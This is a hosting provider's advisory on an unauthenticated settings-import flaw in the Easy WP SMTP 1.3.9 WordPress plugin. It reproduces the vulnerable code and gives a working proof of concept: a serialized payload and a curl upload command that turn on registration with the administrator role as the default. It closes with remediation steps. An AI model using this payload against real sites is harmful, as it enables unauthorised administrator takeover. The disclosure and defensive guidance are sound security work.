Articles on: WordPress

Solved: Critical Zero-Day Vulnerability Fixed in WordPress Easy WP SMTP Plugin

Lately, there was one popular WordPress SMTP plugin called Easy WP SMTP was attacked by a hacker that allows any unauthenticated users to modify WordPress options or to inject and execute code among other malicious actions.

This vulnerability was discovered on March 15th and was caught by our NinjaFirewall plugin, which is a Web Application Firewall (WAF) for WordPress. For your information, this security loophole was identified on their plugin version 1.3.9. As a result, we have reported the vulnerability to the authors and the wordpress.org team on March 15th and a new version 1.3.9.1 of the Easy WP SMTP plugin was immediately released on March 17th due to security reasons.

add_action( 'admin_init', array( $this, 'admin_init' ) );
...
...
function admin_init() {
	if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
		 add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
		 add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
	}

	//view log file
	if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
	    if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
		$log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
		if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
		    if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
			wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
		    };
		}
		$logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
		if ( ! $logfile ) {
		    wp_die( 'Can\'t open log file.' );
		}
		header( 'Content-Type: text/plain' );
		fpassthru( $logfile );
		die;
	    }
	}

	//check if this is export settings request
	$is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
	if ( $is_export_settings ) {
	    $data					 = array();
	    $opts					 = get_option( 'swpsmtp_options', array() );
	    $data[ 'swpsmtp_options' ]		 = $opts;
	    $swpsmtp_pass_encrypted			 = get_option( 'swpsmtp_pass_encrypted', false );
	    $data[ 'swpsmtp_pass_encrypted' ]	 = $swpsmtp_pass_encrypted;
	    if ( $swpsmtp_pass_encrypted ) {
		$swpsmtp_enc_key		 = get_option( 'swpsmtp_enc_key', false );
		$data[ 'swpsmtp_enc_key' ]	 = $swpsmtp_enc_key;
	    }
	    $smtp_test_mail			 = get_option( 'smtp_test_mail', array() );
	    $data[ 'smtp_test_mail' ]	 = $smtp_test_mail;
	    $out				 = array();
	    $out[ 'data' ]			 = serialize( $data );
	    $out[ 'ver' ]			 = 1;
	    $out[ 'checksum' ]		 = md5( $out[ 'data' ] );

	    $filename = 'easy_wp_smtp_settings.txt';
	    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
	    header( 'Content-Type: text/plain' );
	    echo serialize( $out );
	    exit;
	}

	$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
	if ( $is_import_settings ) {
		 $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
		 if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
			echo $err_msg;
			wp_die();
		}
		$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
		try {
			$in = unserialize( $in_raw );
			if ( empty( $in[ 'data' ] ) ) {
				 echo $err_msg;
				 wp_die();
			}
			if ( empty( $in[ 'checksum' ] ) ) {
				 echo $err_msg;
				 wp_die();
			}
			if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
				 echo $err_msg;
				 wp_die();
			}
			$data = unserialize( $in[ 'data' ] );
			foreach ( $data as $key => $value ) {
				 update_option( $key, $value );
			}
			set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
			$url = admin_url() . 'options-general.php?page=swpsmtp_settings';
			wp_safe_redirect( $url );
			exit;
		} catch ( Exception $ex ) {
			echo $err_msg;
			wp_die();
		}
	}
}


The above code was obtained from the previous plugin version v1.3.9. The above admin_init() function, from the easy-wp-smtp.php script, is ran via the admin_init hook when a user accesses the admin area. It is used to view/delete the log, import/export the plugin configuration and to update options in the WordPress database. It does not check the user capability, hence any logged in user, such as a subscriber, could trigger it. But it can also be executed by unauthenticated users, because Easy WP SMTP makes use of AJAX and the admin_init hook runs also on admin-ajax.php as indicated in the WordPress API doc:


Note, this does not just run on user-facing admin screens. It runs on admin-ajax.php and admin-post.php as well.

Therefore, an unauthenticated user can send an AJAX request, e.g., action=swpsmtp_clear_log, to trigger the above function and execute its code.



Proof of Concept: How It Works



In the following proof of concept, I am going to use swpsmtp_import_settings to upload a file that will contain a malicious serialized payload that will enable users registration (users_can_register) and set the user default role (default_role) to “administrator” in the database.


Create a file name “ /tmp/upload.txt ” and add this content to it:

a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}


Upload the file

$ curl https://VICTIM.COM/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/upload.txt'

NOTE: VICTIM.COM is referring to the actual wordpress website which have this vulnerable plugin installed.

Other vulnerabilities could be exploited such as:

Remote Code Execution via PHP Object Injection because Easy WP SMTP makes use of unsafe unserialize() calls.
Viewing/deleting the log (or any file, since hackers can change the log filename).
Exporting the plugin configuration which includes the SMTP host, username and password and using it to send spam emails.


Interestingly, all attempts caught by our firewall showed that hackers tried to exploit the vulnerability to alter the content of the WordPress wp_user_roles option in the database and to give administrator capabilities to all users. Unlike creating an admin account, which can be easily detected in the WordPress “ Users ” section, altering capabilities is hardly noticeable, i.e., a simple subscriber will keep appearing as a subscriber but will be able to do everything an admin can do.



What Else Can You Do To Secure Your Own WordPress site?


Please update your Easy WP SMTP as soon as possible if you are still running version 1.3.9.

If you are using web application firewall for WordPress, NinjaFirewall WP Edition (free) and NinjaFirewall WP+ Edition (premium), you are protected against this vulnerability. Other firewall and security plugin such as WordFence will work as well.

If you were using the vulnerable version of Easy WP SMTP, here are some additional recommendations (non-exhaustive list):

Check your WordPress “Settings > General” page: Make sure nothing was tampered with (URL, Email Address, Membership and New User Default Role).
Check your WordPress “Users” page: Look for new users, weird admin accounts, check the admin email address etc.
Change all passwords.
Check your WordPress wp_options table in the database. Make sure wp_user_roles, which contains user roles and capabilities, hasn’t been tampered with. You can also use free NinjaScanner plugin for WordPress.
Scan your files too, hackers may have uploaded backdoors.
Change your SMTP password, hackers may have stolen it.

Lastly, we are also pleased to inform everyone that our server already have Mod_Security rules installed which can secure your WordPress site from the same vulnerability.

The new security rule was applied on March 20th 2019 to every servers that we owned.

Check out our secure Wordpress Hosting which has been updated with the latest security rules today!

Updated on: 02/04/2019

Was this article helpful?

Share your feedback

Cancel

Thank you!